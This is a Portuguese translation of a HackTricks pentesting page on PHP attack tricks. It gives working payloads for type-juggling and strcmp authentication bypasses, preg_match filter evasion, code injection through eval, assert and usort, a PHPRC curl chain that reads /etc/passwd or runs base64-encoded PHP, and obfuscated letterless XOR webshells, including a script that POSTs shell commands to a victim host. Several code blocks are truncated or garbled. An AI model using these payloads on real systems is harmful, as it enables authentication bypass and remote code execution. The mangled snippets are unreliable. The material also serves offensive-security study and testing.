# Truques do PHP
Aprenda hacking na AWS do zero ao herói comhtARTE (HackTricks AWS Red Team Expert)!
Outras maneiras de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
{% embed url="https://websec.nl/" %}
## Localização comum dos Cookies:
Isso também é válido para cookies do phpMyAdmin.
Cookies:
```
PHPSESSID
phpMyAdmin
```
Localizações:
```
/var/lib/php/sessions
/var/lib/php5/
/tmp/
Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e
```
## Bypassando comparações em PHP
### Comparações frouxas/Type Juggling ( == )
Se `==` é usado em PHP, então existem casos inesperados onde a comparação não se comporta como esperado. Isso ocorre porque "==" compara apenas valores transformados para o mesmo tipo, se você também deseja comparar que o tipo dos dados comparados é o mesmo, você precisa usar `===`.
Tabelas de comparação em PHP: [https://www.php.net/manual/en/types.comparisons.php](https://www.php.net/manual/en/types.comparisons.php)
![](<../../../.gitbook/assets/image (567).png>)
{% file src="../../../.gitbook/assets/EN-PHP-loose-comparison-Type-Juggling-OWASP (1).pdf" %}
* `"string" == 0 -> True` Uma string que não começa com um número é igual a um número
* `"0xAAAA" == "43690" -> True` Strings compostas por números em formato dec ou hex podem ser comparadas com outros números/strings com True como resultado se os números forem iguais (números em uma string são interpretados como números)
* `"0e3264578" == 0 --> True` Uma string que começa com "0e" e seguida por qualquer coisa será igual a 0
* `"0X3264578" == 0X --> True` Uma string que começa com "0" e seguida por qualquer letra (X pode ser qualquer letra) e seguida por qualquer coisa será igual a 0
* `"0e12334" == "0" --> True` Isso é muito interessante porque em alguns casos você pode controlar a entrada de string de "0" e algum conteúdo que está sendo hashado e comparado com ele. Portanto, se você puder fornecer um valor que criará um hash começando com "0e" e sem nenhuma letra, você poderia contornar a comparação. Você pode encontrar **strings já hashadas** com este formato aqui: [https://github.com/spaze/hashes](https://github.com/spaze/hashes)
* `"X" == 0 --> True` Qualquer letra em uma string é igual a int 0
Mais informações em [https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09](https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09)
### **in\_array()**
**Type Juggling** também afeta a função `in_array()` por padrão (você precisa definir como true o terceiro argumento para fazer uma comparação estrita):
```php
$values = array("apple","orange","pear","grape");
var_dump(in_array(0, $values));
//True
var_dump(in_array(0, $values, true));
//False
```
### strcmp()/strcasecmp()
Se esta função é usada para **qualquer verificação de autenticação** (como verificar a senha) e o usuário controla um lado da comparação, ele pode enviar um array vazio em vez de uma string como valor da senha (`https://example.com/login.php/?username=admin&password[]=`) e contornar essa verificação:
```php
if (!strcmp("real_pwd","real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
// Real Password
if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
// Real Password
```
### Juggling de Tipos Estritos
Mesmo se `===` estiver **sendo usado**, podem ocorrer erros que tornam a **comparação vulnerável** ao **juggling de tipos**. Por exemplo, se a comparação estiver **convertendo os dados para um tipo de objeto diferente antes de comparar**:
```php
(int) "1abc" === (int) "1xyz" //This will be true
```
### preg\_match(/^.\*/)
**`preg_match()`** pode ser usado para **validar a entrada do usuário** (ele **verifica** se alguma **palavra/regex** de uma **lista negra** está **presente** na **entrada do usuário** e, se não estiver, o código pode continuar sua execução).
#### Bypass de nova linha
No entanto, ao delimitar o início da regexp, `preg_match()` **verifica apenas a primeira linha da entrada do usuário**, então se de alguma forma você puder **enviar** a entrada em **várias linhas**, você pode ser capaz de contornar essa verificação. Exemplo:
```php
$myinput="aaaaaaa
11111111"; //Notice the new line
echo preg_match("/1/",$myinput);
//1 --> In this scenario preg_match find the char "1"
echo preg_match("/1.*$/",$myinput);
//1 --> In this scenario preg_match find the char "1"
echo preg_match("/^.*1/",$myinput);
//0 --> In this scenario preg_match DOESN'T find the char "1"
echo preg_match("/^.*1.*$/",$myinput);
//0 --> In this scenario preg_match DOESN'T find the char "1"
```
Para contornar essa verificação, você poderia **enviar o valor com quebras de linha urlencoded** (`%0A`) ou, se puder enviar **dados JSON**, envie em **várias linhas**:
```php
{
"cmd": "cat /etc/passwd"
}
```
Encontre um exemplo aqui: [https://ramadistra.dev/fbctf-2019-rceservice](https://ramadistra.dev/fbctf-2019-rceservice)
#### **Burla de erro de comprimento**
(Esta burla foi testada aparentemente no PHP 5.2.5 e não consegui fazê-la funcionar no PHP 7.3.15)\
Se você puder enviar para `preg_match()` uma entrada muito **grande e válida**, ele **não conseguirá processá-la** e você poderá **burlar** a verificação. Por exemplo, se estiver na lista negra um JSON, você poderia enviar:
```bash
payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}'
```
#### ReDoS Bypass
Truque de: [https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223](https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223) e [https://mizu.re/post/pong](https://mizu.re/post/pong)
Em resumo, o problema ocorre porque as funções `preg_*` em PHP são baseadas na [biblioteca PCRE](http://www.pcre.org/). No PCRE, certas expressões regulares são correspondidas usando muitas chamadas recursivas, o que consome muito espaço de pilha. É possível definir um limite para a quantidade de recursões permitidas, mas no PHP esse limite [é padrão para 100.000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit), o que é mais do que cabe na pilha.
[Este tópico do Stackoverflow](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error) também foi vinculado no post, onde é discutido mais detalhadamente sobre esse problema. Nossa tarefa agora estava clara:\
**Enviar uma entrada que faria a regex fazer mais de 100.000 recursões, causando SIGSEGV, fazendo a função `preg_match()` retornar `false`, fazendo com que a aplicação pense que nossa entrada não é maliciosa, lançando a surpresa no final da carga útil algo como `{system()}` para obter SSTI --> RCE --> flag :)**.
Bem, em termos de regex, na verdade não estamos fazendo 100k "recursões", mas sim contando "passos de retrocesso", que, como a [documentação do PHP](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) afirma, é padrão para 1.000.000 (1M) na variável `pcre.backtrack_limit`.\
Para alcançar isso, `'X'*500_001` resultará em 1 milhão de passos de retrocesso (500k para frente e 500k para trás):
```python
payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}"
```
### Tipificação Fraca para ofuscação em PHP
```php
$obfs = "1"; //string "1"
$obfs++; //int 2
$obfs += 0.2; //float 2.2
$obfs = 1 + "7 IGNORE"; //int 8
$obfs = "string" + array("1.1 striiing")[0]; //float 1.1
$obfs = 3+2 * (TRUE + TRUE); //int 7
$obfs .= ""; //string "7"
$obfs += ""; //int 7
```
## Executar Após Redirecionamento (EAR)
Se o PHP estiver redirecionando para outra página, mas nenhum **`die`** ou **`exit`** é **chamado após o cabeçalho `Location`** ser definido, o PHP continua executando e anexando os dados ao corpo:
```php
```
## Exploração de Traversal de Caminho e Inclusão de Arquivo
Verifique:
{% content-ref url="../../../pentesting-web/file-inclusion/" %}
[file-inclusion](../../../pentesting-web/file-inclusion/)
{% endcontent-ref %}
## Mais truques
* **register\_globals**: Em **PHP < 4.1.1.1** ou se estiver mal configurado, **register\_globals** pode estar ativo (ou seu comportamento está sendo imitado). Isso implica que em variáveis globais como $\_GET se elas tiverem um valor, por exemplo $\_GET\["param"]="1234", você pode acessá-lo via **$param. Portanto, enviando parâmetros HTTP você pode sobrescrever variáveis** que são usadas no código.
* Os **cookies PHPSESSION do mesmo domínio são armazenados no mesmo local**, portanto, se dentro de um domínio **diferentes cookies são usados em caminhos diferentes** você pode fazer com que um caminho **acesse o cookie do caminho** definindo o valor do cookie do outro caminho.\
Dessa forma, se **ambos os caminhos acessarem uma variável com o mesmo nome** você pode fazer com que o **valor dessa variável em path1 se aplique a path2**. E então path2 considerará válidas as variáveis de path1 (dando ao cookie o nome correspondente em path2).
* Quando você tem os **nomes de usuário** dos usuários da máquina. Verifique o endereço: **/\~\** para ver se os diretórios php estão ativados.
* [**LFI e RCE usando envoltórios php**](../../../pentesting-web/file-inclusion/)
### password\_hash/password\_verify
Essas funções são tipicamente usadas em PHP para **gerar hashes a partir de senhas** e para **verificar** se uma senha está correta em comparação com um hash.\
Os algoritmos suportados são: `PASSWORD_DEFAULT` e `PASSWORD_BCRYPT` (começa com `$2y$`). Note que **PASSWORD\_DEFAULT é frequentemente o mesmo que PASSWORD\_BCRYPT.** E atualmente, **PASSWORD\_BCRYPT** tem uma **limitação de tamanho na entrada de 72 bytes**. Portanto, ao tentar gerar um hash de algo maior que 72 bytes com esse algoritmo, apenas os primeiros 72B serão usados:
```php
$cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
False
$cont=72; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
True
```
### Bypass de cabeçalhos HTTP abusando de erros PHP
#### Causando erro após definir cabeçalhos
A partir [**deste thread no Twitter**](https://twitter.com/pilvar222/status/1784618120902005070?t=xYn7KdyIvnNOlkVaGbgL6A\&s=19) você pode ver que ao enviar mais de 1000 parâmetros GET ou 1000 parâmetros POST ou 20 arquivos, o PHP não irá definir cabeçalhos na resposta.
Permitindo, por exemplo, a bypass de cabeçalhos CSP sendo definidos em códigos como:
```php
)
## SSRF em funções PHP
Verifique a página:
{% content-ref url="php-ssrf.md" %}
[php-ssrf.md](php-ssrf.md)
{% endcontent-ref %}
## Execução de código
**system("ls");**\
**\`ls\`;**\
**shell\_exec("ls");**
[Verifique isso para mais funções úteis do PHP](php-useful-functions-disable\_functions-open\_basedir-bypass/)
### **RCE via** **preg\_replace()**
```php
preg_replace(pattern,replace,base)
preg_replace("/a/e","phpinfo()","whatever")
```
Para executar o código no argumento "replace" é necessário ter pelo menos uma correspondência.
Essa opção do preg\_replace foi **descontinuada a partir do PHP 5.5.0.**
### **RCE via Eval()**
```
'.system('uname -a'); $dummy='
'.system('uname -a');#
'.system('uname -a');//
'.phpinfo().'
```
### **RCE via Assert()**
Esta função dentro do php permite que você **execute código que está escrito em uma string** para **retornar verdadeiro ou falso** (e dependendo disso alterar a execução). Geralmente a variável do usuário será inserida no meio de uma string. Por exemplo:\
`assert("strpos($_GET['page']),'..') === false")` --> Neste caso, para obter **RCE** você poderia fazer:
```
?page=a','NeVeR') === false and system('ls') and strpos('a
```
Você precisará **quebrar** a **sintaxe** do código, **adicionar** sua **carga útil** e então **corrigi-lo novamente**. Você pode usar operações lógicas como "**and**" ou "%26%26" ou "|". Note que "or", "||" não funcionam porque se a primeira condição for verdadeira, nossa carga útil não será executada. Da mesma forma, ";" não funciona, pois nossa carga útil não será executada.
**Outra opção** é adicionar à string a execução do comando: `'.highlight_file('.passwd').'`
**Outra opção** (se você tiver o código interno) é modificar alguma variável para alterar a execução: `$file = "hola"`
### **RCE via usort()**
Essa função é usada para classificar uma matriz de itens usando uma função específica.\
Para abusar dessa função:
```php
VALUE: );phpinfo();#
```
```php
VALUE: );}[PHP CODE];#
```
### **RCE via .httaccess**
Se você pode **fazer upload** de um **.htaccess**, então você pode **configurar** várias coisas e até mesmo executar código (configurando que arquivos com extensão .htaccess podem ser **executados**).
Diferentes shells .htaccess podem ser encontrados [aqui](https://github.com/wireghoul/htshells)
### RCE via Variáveis de Ambiente
Se você encontrar uma vulnerabilidade que permita **modificar variáveis de ambiente no PHP** (e outra para fazer upload de arquivos, embora com mais pesquisa talvez isso possa ser contornado), você poderia abusar desse comportamento para obter **RCE**.
* [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/#ld\_preload-and-ld\_library\_path): Esta variável de ambiente permite carregar bibliotecas arbitrárias ao executar outros binários (embora neste caso possa não funcionar).
* **`PHPRC`** : Instrui o PHP sobre **onde localizar seu arquivo de configuração**, geralmente chamado `php.ini`. Se você puder fazer upload do seu próprio arquivo de configuração, então use `PHPRC` para apontar o PHP para ele. Adicione uma entrada **`auto_prepend_file`** especificando um segundo arquivo enviado. Este segundo arquivo contém **código PHP normal, que é então executado** pelo tempo de execução do PHP antes de qualquer outro código.
1. Faça upload de um arquivo PHP contendo nosso código shell
2. Faça upload de um segundo arquivo, contendo uma diretiva **`auto_prepend_file`** instruindo o pré-processador PHP a executar o arquivo que enviamos no passo 1
3. Defina a variável `PHPRC` para o arquivo que enviamos no passo 2.
* Obtenha mais informações sobre como executar essa cadeia [**no relatório original**](https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/).
* **PHPRC** - outra opção
* Se você **não puder fazer upload de arquivos**, você poderia usar no FreeBSD o "arquivo" `/dev/fd/0` que contém o **`stdin`**, sendo o **corpo** da solicitação enviada para o `stdin`:
* `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'`
* Ou para obter RCE, habilite **`allow_url_include`** e adicione um arquivo com **código PHP em base64**:
* `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'`
* Técnica [**deste relatório**](https://vulncheck.com/blog/juniper-cve-2023-36845).
## Análise Estática do PHP
Veja se você pode inserir código em chamadas para essas funções (de [aqui](https://www.youtube.com/watch?v=SyWUsN0yHKI\&feature=youtu.be)):
```php
exec, shell_exec, system, passthru, eval, popen
unserialize, include, file_put_cotents
$_COOKIE | if #This mea
```
Se estiver depurando uma aplicação PHP, você pode habilitar globalmente a impressão de erros em `/etc/php5/apache2/php.ini` adicionando `display_errors = On` e reiniciando o apache: `sudo systemctl restart apache2`
### Desofuscando código PHP
Você pode usar o **web**[ **www.unphp.net**](http://www.unphp.net) **para desofuscar código PHP.**
## Wrappers e Protocolos PHP
Wrappers e protocolos PHP podem permitir que você **bypass write and read protections** em um sistema e comprometê-lo. Para [**mais informações, consulte esta página**](../../../pentesting-web/file-inclusion/#lfi-rfi-using-php-wrappers-and-protocols).
## RCE não autenticado do Xdebug
Se você perceber que o **Xdebug** está **habilitado** em uma saída `phpconfig()`, você deve tentar obter RCE via [https://github.com/nqxcode/xdebug-exploit](https://github.com/nqxcode/xdebug-exploit)
## Variáveis variáveis
```php
$x = 'Da';
$$x = 'Drums';
echo $x; //Da
echo $$x; //Drums
echo $Da; //Drums
echo "${Da}"; //Drums
echo "$x ${$x}"; //Da Drums
echo "$x ${Da}"; //Da Drums
```
## RCE abusando de novo $\_GET\["a"]\($\_GET\["b"])
Se em uma página você pode **criar um novo objeto de uma classe arbitrária**, você pode ser capaz de obter RCE, verifique a página a seguir para aprender como:
{% content-ref url="php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md" %}
[php-rce-abusing-object-creation-new-usd\_get-a-usd\_get-b.md](php-rce-abusing-object-creation-new-usd\_get-a-usd\_get-b.md)
{% endcontent-ref %}
## Executar PHP sem letras
[https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/](https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/)
### Usando octal
```php
$_="\163\171\163\164\145\155(\143\141\164\40\56\160\141\163\163\167\144)"; #system(cat .passwd);
```
### **XOR**
```php
$_=("%28"^"[").("%33"^"[").("%34"^"[").("%2c"^"[").("%04"^"[").("%28"^"[").("%34"^"[").("%2e"^"[").("%29"^"[").("%38"^"[").("%3e"^"["); #show_source
$__=("%0f"^"!").("%2f"^"_").("%3e"^"_").("%2c"^"_").("%2c"^"_").("%28"^"_").("%3b"^"_"); #.passwd
$___=$__; #Could be not needed inside eval
$_($___); #If ¢___ not needed then $_($__), show_source(.passwd)
```
### Código shell XOR fácil
De acordo com [**este artigo**](https://mgp25.com/ctf/Web-challenge/), é possível gerar um código shell XOR fácil desta forma:
```php
$_="`{{{"^"?<>/"; // $_ = '_GET';
${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]);
$_="`{{{"^"?<>/";${$_}[_](${$_}[__]); // $_ = '_GET'; $_GET[_]($_GET[__]);
```
Portanto, se você pode **executar PHP arbitrário sem números e letras**, você pode enviar uma solicitação como a seguinte abusando desse payload para executar PHP arbitrário:
```
POST: /action.php?_=system&__=cat+flag.php
Content-Type: application/x-www-form-urlencoded
comando=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);
```
Para uma explicação mais detalhada, consulte [https://ctf-wiki.org/web/php/php/#preg\_match](https://ctf-wiki.org/web/php/php/#preg\_match)
### Shellcode XOR (dentro de eval)
```bash
#!/bin/bash
if [[ -z $1 ]]; then
echo "USAGE: $0 CMD"
exit
fi
CMD=$1
CODE="\$_='\
```
```php
lt;>/'^'{{{{';\${\$_}[_](\${\$_}[__]);" `$_='
```
```php
lt;>/'^'{{{{'; --> _GET` `${$_}[_](${$_}[__]); --> $_GET[_]($_GET[__])` `So, the function is inside $_GET[_] and the parameter is inside $_GET[__]` http --form POST "http://victim.com/index.php?_=system&__=$CMD" "input=$CODE"
```
### Semelhante ao Perl
```php
{% embed url="https://websec.nl/" %}
Aprenda hacking AWS do zero ao herói comhtARTE (HackTricks AWS Red Team Expert)!
Outras maneiras de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.